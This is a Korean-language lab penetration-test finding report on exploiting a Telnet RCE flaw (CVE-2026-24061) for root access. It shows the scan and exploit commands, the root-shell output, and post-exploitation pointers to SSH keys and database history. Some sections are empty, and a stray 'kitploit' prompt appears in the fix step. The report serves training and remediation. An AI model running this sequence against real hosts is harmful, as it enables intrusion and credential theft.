CyberHawks 랩 데모 발견 보고서

크레딧: @SafeBreach-Labs

CVE: CVE-2026-24061

랩: Cyberhawks Lab
대상: 10.1.1.1 (demo.cyberhawks.lab)
발견 ID: WU-08
날짜: 2026-09-08
심각도: 치명적(Critical)
상태: 확인됨 / 악용됨

요약

Cyberhawks 랩 환경 평가 중 대상 호스트(10.1.1.1)에서 인증되지 않은 원격 코드 실행(RCE) 취약점이 식별되어 성공적으로 악용되었습니다. 노출된 Telnet 서비스(TCP/23)를 통한 CVE-2026-24061 악용으로 루트 권한의 대화형 셸이 확보되어 시스템에 대한 완전한 관리 제어권이 부여되었습니다.

범위 및 환경

정찰

포트 스캔

열린 포트와 서비스를 확인하기 위해 대상에 대해 Nmap 서비스 버전 스캔을 수행했습니다.

명령어:

nmap -sV 10.1.1.1

결과 요약:

주요 관찰 사항:

• 호스트는 15개 포트에 걸쳐 광범위하고 우려스러운 공격 표면을 노출하고 있습니다.
• 포트 23(Telnet) 이 접근 가능하여 즉각적인 우선 공격 대상이 되었습니다.
• 본질적으로 안전하지 않은 평문 프로토콜인 Telnet이 최신 호스트에 존재하는 것은 심각한 잘못된 구성입니다. 서비스 버전이 악용 가능할 가능성이 높습니다.

취약점 세부 정보

설명

CVE-2026-24061은 GNU inetutils 2.6의 Telnet 데몬 구성 요소에 영향을 미치는 인증되지 않은 원격 코드 실행 취약점입니다. 악용 시 원격의 인증되지 않은 공격자가 실행 중인 서비스의 권한(이 경우 root)으로 대상 시스템에서 임의의 명령을 실행할 수 있습니다.

악용

사용된 도구 / 익스플로잇

CVE-2026-24061을 대상으로 하는 전용 Python 익스플로잇 스크립트(telnet_rce.py)가 취약한 Telnet 서비스에 대해 실행되었습니다.

명령어:

python3 telnet_rce.py 10.1.1.1

익스플로잇 출력:

[*] Connected to 10.1.1.1:23
[*] Interactive session started. Use Ctrl+C to quit.

Linux 6.12.41+deb13-amd64 (demo.cyberhawks.lab) (pts/0)

root@demo:~#

사후 악용 검증

셸을 획득한 후 다음 명령어로 달성된 접근 수준을 확인했습니다:

신원 확인:

root@demo:~# id
uid=0(root) gid=0(root) groups=0(root)

파일시스템 열거:

root@demo:~# ls -la
total 36
drwx------  6 root root 4096 Aug 28 14:47 .
drwxr-xr-x 19 root root 4096 Aug 28 15:37 ..
-rw-r--r--  1 root root  607 May 12  2025 .bashrc
drwx------  4 root root 4096 Sep  6  2025 .cache
drwxr-xr-x  3 root root 4096 Sep  6  2025 .config
drwxrwxr-x  3 root root 4096 Sep  6  2025 .local
-rw-------  1 root root  261 Sep  6  2025 .mariadb_history
-rw-r--r--  1 root root  132 May 12  2025 .profile
drwx------  2 root root 4096 Sep  6  2025 .ssh

서비스 버전 확인

root@demo:~# telnet --version

telnet (GNU inetutils) 2.6
Copyright (C) 2025 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Written by many authors.

사후 악용 단계의 주요 발견 사항:

• .mariadb_history — 활성 MariaDB 데이터베이스 사용을 나타내며, 추가 자격 증명 수집 또는 데이터 유출 가능성이 있습니다.
• .ssh/ 디렉터리 — 다른 호스트로의 측면 이동에 사용할 수 있는 개인 키가 포함되어 있을 수 있습니다.
• 권한 상승 단계 없이 전체 root(UID 0) 접근이 확인되었습니다.

영향

단일의 인증되지 않은 단계로 전체 시스템 손상이 달성되었습니다. 이 네트워크 세그먼트에 접근할 수 있는 공격자는 다음을 수행할 수 있습니다:

• 호스트에 저장된 모든 데이터를 읽기, 수정 또는 유출.
• 셸 히스토리, 구성 파일 및 MariaDB 데이터베이스에서 자격 증명 수집.
• SSH 키를 사용하여 네트워크의 다른 호스트로 측면 이동.
• 지속성 확보(예: 백도어 계정, cron 작업, 루트킷).
• 호스트에서 실행 중인 모든 서비스의 가용성 방해.

권장 사항

즉시 조치(치명적 우선순위)

1. CVE-2026-24061 패치 또는 완화 — Telnet을 계속 사용해야 하는 경우 GNU inetutils에 대한 공급업체 제공 패치를 적용하십시오. 업데이트된 패키지를 확인하십시오:
   root@kitploit:~

   apt update && apt install inetutils-telnetd
   

아티팩트 및 증거

Cyberhawks Lab을 위해 작성된 보고서 — 교육 목적으로만 사용하십시오.